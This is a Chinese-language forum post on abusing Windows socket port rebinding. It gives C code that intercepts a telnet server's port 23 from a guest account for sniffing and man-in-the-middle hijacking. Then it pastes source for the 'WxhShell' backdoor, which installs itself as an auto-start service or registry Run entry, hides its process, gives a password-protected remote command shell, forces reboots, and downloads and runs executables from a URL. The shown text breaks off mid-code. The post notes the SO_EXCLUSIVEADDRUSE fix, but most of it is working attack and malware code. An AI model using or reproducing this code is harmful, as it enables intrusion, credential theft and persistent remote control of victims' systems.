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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]~8bh*,=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /`\-.S9  
&[*_ -  
  saddr.sin_family = AF_INET; E{T\51V]%  
Y@KZ:0<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XZcsx  
tA#X@HIE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); , 9|%  
#lltXqvD?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'e3y|  
>1pD'UZIy7  
  这意味着什么?意味着可以进行如下的攻击: z:u`W#Rf  
\*LMc69  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @EfCNOy  
eno*JK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L)8+/+  
P)1@HDN==  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -/x +M-X#  
}S*6+4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;zs*Zd7h M  
_QvyFKAM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n ^n' lgUT  
*Q!b%DIa$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :N8D1e-a  
(&x~pv"+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &M>S$+I n  
hp-< 8Mf  
  #include CSr{MF`]e  
  #include YL){o$-N"J  
  #include 4Xz6JJ1U[H  
  #include    Y D.3FTNGC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eVU:.fx  
  int main() 3;>(W  
  { T:)>Tcv}:  
  WORD wVersionRequested; =v:_N.Fh-c  
  DWORD ret; )[p8  
  WSADATA wsaData; $)n{}8^  
  BOOL val; OzO_E8Kb\  
  SOCKADDR_IN saddr; .Z_U]_(  
  SOCKADDR_IN scaddr; (R6ZoBZ  
  int err; /;OJ=x3i  
  SOCKET s; 4 T^M@+&|  
  SOCKET sc; m9L+|r  
  int caddsize; So`xd *C!  
  HANDLE mt; l$zNsf.  
  DWORD tid;   ;Ly4Z*!2  
  wVersionRequested = MAKEWORD( 2, 2 ); ]G1j\wnF  
  err = WSAStartup( wVersionRequested, &wsaData ); 8OBvC\%  
  if ( err != 0 ) { U">OdoZ,E+  
  printf("error!WSAStartup failed!\n"); ZM|>Va/X  
  return -1; kk~{2   
  } -g@pJ^>:  
  saddr.sin_family = AF_INET; z 9D2,N.  
   M  j5C0P(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9&d BL0  
ADR`j;2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ux =a9  
  saddr.sin_port = htons(23); kkJg/:g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2sU"p5 j  
  { UoLO#C0i  
  printf("error!socket failed!\n"); RtIc:ym  
  return -1; wZC'BLD  
  } 5vpf;  
  val = TRUE; #t/Q4X +  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "q(&<+D@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;8T<L[ ^U  
  { O Z#?  
  printf("error!setsockopt failed!\n"); VKs\b-1  
  return -1; t%TZu>(1O  
  } xJ"KR:CD>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8odVdivh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z ZiS$&NK8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w+MdQ@'5  
JNu- z:J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qb|dp~K.M  
  { R80R{Ze  
  ret=GetLastError(); )8<X6  
  printf("error!bind failed!\n"); Y{O&- 5H^|  
  return -1; g@U#Y#b@"  
  } +p[~hM6?  
  listen(s,2); T2->  
  while(1) aQG#bh [  
  { -?]ltn9!  
  caddsize = sizeof(scaddr); :1{j&$  
  //接受连接请求 oF>GWst TR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {Q-U=me\  
  if(sc!=INVALID_SOCKET) =;`YtOL  
  { 68!]q(!6F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a2 SQ:d  
  if(mt==NULL) |HA7 C  
  { {L=[1  
  printf("Thread Creat Failed!\n"); J)G3Kq5>:b  
  break; 9s!/yiP5  
  } l<HRD  
  } jgstx3  
  CloseHandle(mt); Z`*cI   
  } Y/^<t'o&  
  closesocket(s); G<z)Ydh_  
  WSACleanup(); ,YY#ed&l  
  return 0; %C)JmaQ{9  
  }   S3_4i;K\  
  DWORD WINAPI ClientThread(LPVOID lpParam) w|HZI,~  
  { \PFx# :-c  
  SOCKET ss = (SOCKET)lpParam; O)Qz$  
  SOCKET sc; KRtu@;?  
  unsigned char buf[4096]; e ?YbG.(E9  
  SOCKADDR_IN saddr; 4yA`);r62  
  long num; #SYWAcTkO}  
  DWORD val; m@@QT<  
  DWORD ret; Ig<p(G.;}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [!le 9aNg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T]W -g  
  saddr.sin_family = AF_INET; ]cr;PRyv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @r?`:&m0  
  saddr.sin_port = htons(23); ]Yg EnZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !_) ^bRd  
  { @9h#o5y q  
  printf("error!socket failed!\n");  62jA  
  return -1; HWhKX:`l  
  } /6zpVkV  
  val = 100; 50&F#v%YB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {9".o,  
  { f>dkT'4  
  ret = GetLastError(); _zh5KP[{  
  return -1; \2pFFVT  
  } L_mqC(vn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =LxmzQO#  
  { B: ~;7A\  
  ret = GetLastError(); MPbPq3an  
  return -1; MuGg z>CV[  
  } Mj B[5:s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) + nS/jW  
  { sK0VT"7K  
  printf("error!socket connect failed!\n"); 6# ";W2  
  closesocket(sc); A#S:_d  
  closesocket(ss); 1fv~r@6s  
  return -1; JF%=Bc$C  
  } Ts .Z l{B  
  while(1) ATM:As:<@  
  { /\cu!yiX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X3{1DY3@u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \!Zh="hN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oxQID  
  num = recv(ss,buf,4096,0); V2{#<d-T!  
  if(num>0) DXW?;|8)O  
  send(sc,buf,num,0); Treh{s  
  else if(num==0) 9}cuAVI  
  break; >JPJ%~y  
  num = recv(sc,buf,4096,0); / 7XdV  
  if(num>0) Hu8atlpo  
  send(ss,buf,num,0); =veOVv[Q&/  
  else if(num==0) z-G7Y#  
  break; A}bHfn|  
  } A;-z#R#V5  
  closesocket(ss); <nTmZ-;  
  closesocket(sc); )_*a7N!  
  return 0 ; eM=)>zl  
  } }<ONxg6Kb  
%;(|KrUN  
>xV<nLf/  
========================================================== _:X|R#d  
8;g.3Qv  
下边附上一个代码,,WXhSHELL hLbT\J`I  
h2"|tTm,a  
========================================================== OZ!$%.?l  
XDdcq]*|  
#include "stdafx.h" ]Uu(OI<)  
`)=A !x y  
#include <stdio.h> 2r}uE\GN  
#include <string.h> &O6;nJEI  
#include <windows.h> SXBQ  
#include <winsock2.h> qN1 -plY  
#include <winsvc.h> vN,}aV2nq  
#include <urlmon.h> u1) TG "+0  
$;2eH  
#pragma comment (lib, "Ws2_32.lib") u@bOEcxK  
#pragma comment (lib, "urlmon.lib") >[XOMKgQ](  
hGA!1a4 c  
#define MAX_USER   100 // 最大客户端连接数 4/2RfDp  
#define BUF_SOCK   200 // sock buffer 3W-NS~y  
#define KEY_BUFF   255 // 输入 buffer 9IvcKzS2  
9U7Mu;4  
#define REBOOT     0   // 重启 Lk`k>Nn)  
#define SHUTDOWN   1   // 关机 zh^jWu  
>2lAy:B5  
#define DEF_PORT   5000 // 监听端口 "zedbJ0  
+(<n |~  
#define REG_LEN     16   // 注册表键长度 t?9 ;cS4  
#define SVC_LEN     80   // NT服务名长度 RUS7Z~5  
9*=@/1  
// 从dll定义API X40la_[.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q"OV>klk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?Rt 1CDu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T$n>7X-r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I|F~HUzA"  
kJurUDo  
// wxhshell配置信息 ''(fH$pY  
struct WSCFG { 'HQ7 |Je  
  int ws_port;         // 监听端口 eg$5z Z  
  char ws_passstr[REG_LEN]; // 口令 9{O2B5u1  
  int ws_autoins;       // 安装标记, 1=yes 0=no .*EOVo9S  
  char ws_regname[REG_LEN]; // 注册表键名 ZVdsxo<  
  char ws_svcname[REG_LEN]; // 服务名 .#=j <&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wR Xn9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2vqmsl ?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IqhICC1V-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]cF1c90%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P"R97#C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z:_m}Ya|  
+  ZR(  
}; _W@,@hOH  
+Cn yK(V  
// default Wxhshell configuration +A8=R%&b)[  
struct WSCFG wscfg={DEF_PORT, CB*`  
    "xuhuanlingzhe", `a9k!3_L  
    1, ;[{:'^n  
    "Wxhshell", _`bS[%CJ  
    "Wxhshell", ! Q|J']|  
            "WxhShell Service", F=oHl@  
    "Wrsky Windows CmdShell Service", !X5o7b)  
    "Please Input Your Password: ", CRZi;7`*1  
  1, ; g Z%U  
  "http://www.wrsky.com/wxhshell.exe", awj+#^  
  "Wxhshell.exe" ps"/}u l  
    }; D^66p8t  
KI E k/]<H  
// 消息定义模块 _MM   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V/aQ*V{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K#GXpj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]s*5[ =uc2  
char *msg_ws_ext="\n\rExit."; O24Jj\"  
char *msg_ws_end="\n\rQuit."; uz*d^gr}  
char *msg_ws_boot="\n\rReboot..."; reJ"r<2  
char *msg_ws_poff="\n\rShutdown..."; uew0R;+oa  
char *msg_ws_down="\n\rSave to "; HA$Y1}  
'"oo;`g7  
char *msg_ws_err="\n\rErr!"; 90Xt_$_}s  
char *msg_ws_ok="\n\rOK!"; = y?#^  
~_ *H)|  
char ExeFile[MAX_PATH]; |.1qy,|!X  
int nUser = 0; 7< ^'DO s  
HANDLE handles[MAX_USER]; q&u$0XmV  
int OsIsNt; 5B}3GBA  
HDyQzCG,  
SERVICE_STATUS       serviceStatus; @Ppo &>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QZ?d2PC=>?  
Oc7 >S.1  
// 函数声明 Oz :D.V 3~  
int Install(void); 6H0W`S0a  
int Uninstall(void); F vj{@B!  
int DownloadFile(char *sURL, SOCKET wsh); LRWOBD  
int Boot(int flag); Q`N18I3  
void HideProc(void); llNXQlP\B  
int GetOsVer(void); DYX-5~;!  
int Wxhshell(SOCKET wsl); rxQ<4  
void TalkWithClient(void *cs); M /"gf;)q>  
int CmdShell(SOCKET sock); *]5z^> q;7  
int StartFromService(void); xFOBF")  
int StartWxhshell(LPSTR lpCmdLine); ])C>\@c6Gm  
G OpjRA@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )B81i! q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T$u~E1  
Y=9j2 ]t  
// 数据结构和表定义 s,w YlVYf!  
SERVICE_TABLE_ENTRY DispatchTable[] = sD2 ^_w6j  
{ N3Z iGD  
{wscfg.ws_svcname, NTServiceMain}, P Q,+hq  
{NULL, NULL} f7Zf}1|  
}; )Lb72;!?  
3g;T?E  
// 自我安装 d4J<,  
int Install(void) i(0hvV>'  
{ e[}],W  
  char svExeFile[MAX_PATH]; 85} ii{S  
  HKEY key; 3EmcYC  
  strcpy(svExeFile,ExeFile); ~ Yl<S(/4  
h`lmC]X _  
// 如果是win9x系统,修改注册表设为自启动 QTYYghz  
if(!OsIsNt) { lj*8mS/;h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yc d3QRB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gGmxx,i  
  RegCloseKey(key); v`SY6;<2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _#FIay\ahB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PRwu  
  RegCloseKey(key); GQ<Ds{exs>  
  return 0; Ra0=q4vdk  
    } ?ql2wWsQO  
  } :c=v}  
} 9Eg&CZ,9$D  
else { /1[gn8V691  
.EG* +,  
// 如果是NT以上系统,安装为系统服务  g#qNHR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6b<+8w  
if (schSCManager!=0) y:,9I` aW  
{ wLUF v(&C  
  SC_HANDLE schService = CreateService oIR.|=Hk{  
  ( "J !}3)n  
  schSCManager, ]~8v^A7u  
  wscfg.ws_svcname, # kEOKmO  
  wscfg.ws_svcdisp, 7@IFp~6<qK  
  SERVICE_ALL_ACCESS, JOHR mfqR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b_=8!Q.:  
  SERVICE_AUTO_START, 87<9V.s 2  
  SERVICE_ERROR_NORMAL, b=1%pX_  
  svExeFile, \?&A u  
  NULL,  w;+ br  
  NULL, -\Z `z}D  
  NULL, z]$>+MH_  
  NULL, VgMP^&/gZ  
  NULL 0[)VO[  
  ); i3PKqlp.  
  if (schService!=0) c#QFG1  
  { N _G4_12(  
  CloseServiceHandle(schService); DjwQ`MA  
  CloseServiceHandle(schSCManager); Hbk&6kS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [@3SfQ  
  strcat(svExeFile,wscfg.ws_svcname); CZ3].DA|z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *d>vR1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :Q-oV8t{  
  RegCloseKey(key); Go <'  
  return 0; 2]2H++  
    } iCrxV{   
  } o@/xPo|  
  CloseServiceHandle(schSCManager); EgNH8i  
} %8w9E=  
} O-PdM`mqW  
2*u.3,aW  
return 1; hS:jBp,  
} g1 9S  
((|IS[  
// 自我卸载 @B`Md3$7  
int Uninstall(void) os$nL'sq  
{ Q\9K2=4  
  HKEY key; OOB^gf}$'  
73 V"s  
if(!OsIsNt) { `FJ|W6%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VVuR+=.&  
  RegDeleteValue(key,wscfg.ws_regname); A-wRah.M  
  RegCloseKey(key); IgM v =^U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {DBIonY];  
  RegDeleteValue(key,wscfg.ws_regname); eko]H!Ov(  
  RegCloseKey(key); 9y^/GwUQ  
  return 0; f=`33m5  
  } 6GINmkA  
} Yc`<S   
} 6I|A- h  
else { wsnK3tM7-  
/P+q}L %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aB"xqh)a}T  
if (schSCManager!=0) sLns3&n2  
{ rWQY?K@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y~qb;N\  
  if (schService!=0) f z}?*vPW  
  { 2z\;Q8g){r  
  if(DeleteService(schService)!=0) { E5UcZ7  
  CloseServiceHandle(schService); kuKa8c  
  CloseServiceHandle(schSCManager); (V?@?25  
  return 0; s-?fUqA  
  } >ttuum12w  
  CloseServiceHandle(schService); }9&9G%  
  } ddDS=OfH  
  CloseServiceHandle(schSCManager); 9B/1*+ M  
} wss?|XCI  
} FtIa*j^G  
!LIlt`ag9  
return 1; (-"`,8K 2}  
} &88oB6$D^q  
>n$ !<  
// 从指定url下载文件 l [%lE  
int DownloadFile(char *sURL, SOCKET wsh) Cs1>bpY*R6  
{ 5DFZ^~  
  HRESULT hr; S>f&6ZDNY(  
char seps[]= "/"; D:E9!l'  
char *token; x-_vl 9P)  
char *file; *%A}x   
char myURL[MAX_PATH]; p;%<mUI  
char myFILE[MAX_PATH]; 'HaD~pa  
vVVPw?Ww-  
strcpy(myURL,sURL); `&*bM0(J  
  token=strtok(myURL,seps); TlRk*/PlJ  
  while(token!=NULL) EUcKN1  
  { 3!#/k+,C  
    file=token; 3-x%wD.  
  token=strtok(NULL,seps); ` }8&E(<  
  } t9u|iTY f!  
Ade }g'  
GetCurrentDirectory(MAX_PATH,myFILE); xPC"c*  
strcat(myFILE, "\\"); #n7Yr,|Z  
strcat(myFILE, file); x$B&L`QV  
  send(wsh,myFILE,strlen(myFILE),0); 5H !y46z  
send(wsh,"...",3,0); KoHGweKl#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FPv" N'/  
  if(hr==S_OK) (bm;*2  
return 0; N|dD!  
else GYK\LHCPd  
return 1; Zb(t3I>n  
' 4 O-  
} KIus/S5 RC  
W{Z^n(f4  
// 系统电源模块 Iti0qnBN5  
int Boot(int flag) E*CcV;  
{ /QxlGfNZ  
  HANDLE hToken; \}dyS8  
  TOKEN_PRIVILEGES tkp; f j<H6|3  
xJhU<q~?  
  if(OsIsNt) { <kc# thL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 658^"]Rk'/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R7_VXvm>z  
    tkp.PrivilegeCount = 1; ;YH[G;aJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &Lj@9\Dh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z4q~@|+%  
if(flag==REBOOT) { -5Utl os  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aV|9H  
  return 0; erFv(eaDK  
} Pe ~c  
else { ]<trA$ 0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !G?gsW0\h  
  return 0; ?<%=: Yh  
} gv.6h{Ut  
  } zx%X~U   
  else { WES#ZYtT  
if(flag==REBOOT) { wL{qD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g>j| ]6  
  return 0; @;^Y7po6u  
} Mr3-q  
else { =/9^, 6Q(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sc$UZ/qPT  
  return 0; nCnjq=  
} ~~qWI>. 4  
} 6|;Uq'  
=$^MQ\S0p  
return 1; =1hr2R(V  
} |m* .LTO  
WFv!Pbq,  
// win9x进程隐藏模块 77,oPLSn  
void HideProc(void) S2^>6/[xM  
{ 8OFj0S1r`  
w# y2_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q{' ~+Nq  
  if ( hKernel != NULL ) *75YGD  
  { ?dq#e9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -j`LhS~|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VLvS$0(}Z  
    FreeLibrary(hKernel); (?i[jO||B  
  } vF={9G  
m VxO$A,  
return; B#l?IB~  
} ${r[!0|   
e@]-D FG  
// 获取操作系统版本 mOBACTY^  
int GetOsVer(void) HZjf`eM,  
{ b>=_*nw9  
  OSVERSIONINFO winfo; nWYCh7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2YBIWR8z  
  GetVersionEx(&winfo); yI;"9G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L ^J- ("e_  
  return 1; <iLM{@lZvJ  
  else L36Yx7gT<  
  return 0; &1^%Nxu1  
} Tx>K:`oB  
%V_-%/3Z  
// 客户端句柄模块 963aW*r  
int Wxhshell(SOCKET wsl) B(5c9DI`  
{ qRB7Ec_  
  SOCKET wsh; `lpz-"EEV  
  struct sockaddr_in client; v zo4g,Bj  
  DWORD myID; *VeW?mY,P  
4B[D/kIg  
  while(nUser<MAX_USER) iz^qR={bW  
{ X&\d)/Y  
  int nSize=sizeof(client); |zsbW9 W*m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~}9PuYaD@  
  if(wsh==INVALID_SOCKET) return 1; lU4}B`#"v  
=t0tK}Y+4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ud%s^A-qS  
if(handles[nUser]==0) m@G i6   
  closesocket(wsh); wxQ>ifi9Z  
else Qst$S}n  
  nUser++; x_w~G]! /  
  } A#@_V'a8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4vZ4/#(x  
hwnJE958L  
  return 0; `#s#it'y  
}  #@.-B,]  
@_ygnNn4R  
// 关闭 socket k[|~NLB8  
void CloseIt(SOCKET wsh) tNaL;0#Tx  
{ IVvtX}  
closesocket(wsh); |F$BvCg  
nUser--; DT(d@upH  
ExitThread(0); Xz{~3ih  
} QV|>4^1D  
2?7(A  
// 客户端请求句柄  ht97s  
void TalkWithClient(void *cs) 0"WDH)7hJ  
{ \}*k)$r  
v1G"3fy9  
  SOCKET wsh=(SOCKET)cs; 'o4p#`R:8  
  char pwd[SVC_LEN]; ]1`g^Z@ 0  
  char cmd[KEY_BUFF]; D)$8 W[  
char chr[1]; #& .]" d  
int i,j; wVl+]zB  
-%c<IX>z9  
  while (nUser < MAX_USER) { >7Jr^o#|_x  
w|Cx>8P8@  
if(wscfg.ws_passstr) { <v 0*]NiX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W_YY#wf_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?V(^YFzZ  
  //ZeroMemory(pwd,KEY_BUFF); C|-pD  
      i=0; ;^){|9@  
  while(i<SVC_LEN) { h:bru:ef  
L,[;k  
  // 设置超时 < Bg8,;  
  fd_set FdRead; V\5 L?}  
  struct timeval TimeOut; E;Y;r"  
  FD_ZERO(&FdRead); }CGSEr4'w~  
  FD_SET(wsh,&FdRead); s0u{d qP  
  TimeOut.tv_sec=8; \Gp*x\<^Z  
  TimeOut.tv_usec=0; px''.8   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]88];?KS}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <W)u{KS#TY  
kJ:F *34e=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R,2P3lv1v@  
  pwd=chr[0]; W;6vpPhg#!  
  if(chr[0]==0xd || chr[0]==0xa) { dP2irC%f8  
  pwd=0; /'.=sH  
  break; `\u;K9S6  
  } 7Cqcb>\X  
  i++; E-5_{sc  
    } 9O.YOiW  
'T=~jA7SkT  
  // 如果是非法用户,关闭 socket Ey[On^$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >x1p%^cA;=  
} sM[I4 .A3  
{svn=H /  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3riw1r;Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \G@wp5  
Ter :sge7  
while(1) { !5@_j,lW(  
G9P!_72  
  ZeroMemory(cmd,KEY_BUFF); BQ</g* $;  
RkEN ,xWE  
      // 自动支持客户端 telnet标准   {:nQl}  
  j=0; >ydRSr^  
  while(j<KEY_BUFF) { 3uu~p!2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7xo4-fIuT  
  cmd[j]=chr[0]; e?0q9W  
  if(chr[0]==0xa || chr[0]==0xd) { V&]DzjT/  
  cmd[j]=0; /c2 'dJ(H  
  break; Uh1NO&i.W  
  } "[p@tc?5  
  j++; 2Se?J)MN  
    } <+#o BN  
3Ug  
  // 下载文件 98jN)Nl,oD  
  if(strstr(cmd,"http://")) { i`(^[h ?;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |WryBzZ>on  
  if(DownloadFile(cmd,wsh)) /Ss7"*JLe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVgFZ,  
  else (m[bWdANnW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s^OO^%b  
  } |H}m4-+*  
  else { cV{%^0? D  
[L $9p@I  
    switch(cmd[0]) { Dq@2-Cv  
  ^ &/G|  
  // 帮助 &5{xXWJK  
  case '?': { OX:O^ (-r,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R =Ws#'  
    break; +y2[msBs  
  } +z9@:L  
  // 安装 ;8S/6FI  
  case 'i': { ,fIe&zq  
    if(Install()) kU-t7'?4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,vqr <H9e  
    else RC|!+ TD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZD#9&q'4<  
    break; 9mc!bj^811  
    } PfS:AI y  
  // 卸载 Zc |/{$>:W  
  case 'r': { Rd7_~.Bo  
    if(Uninstall()) <!$:8ls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H2xeP%;$  
    else lDC$F N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yL^UE=#C_  
    break; LLWB  
    } ']- @? sD$  
  // 显示 wxhshell 所在路径 I-]>d;4.  
  case 'p': { qzw'zV  
    char svExeFile[MAX_PATH]; 1pv}]&X  
    strcpy(svExeFile,"\n\r"); 5m=I*.qE  
      strcat(svExeFile,ExeFile); ~1m2#>  
        send(wsh,svExeFile,strlen(svExeFile),0); Ogt]_  
    break; ;?}l  
    } D9mz9  
  // 重启 I]Tsz'T!9  
  case 'b': { N!Qg;(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &AuF]VT  
    if(Boot(REBOOT)) ~m1P_`T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Ft5@UF~  
    else { 5G0 $  
    closesocket(wsh); OX%MP!#KU  
    ExitThread(0); rV({4cIe9R  
    } RO0>I8c1c  
    break; Z34Wbun4  
    } @ DZD  
  // 关机 =Cv/Y%DN  
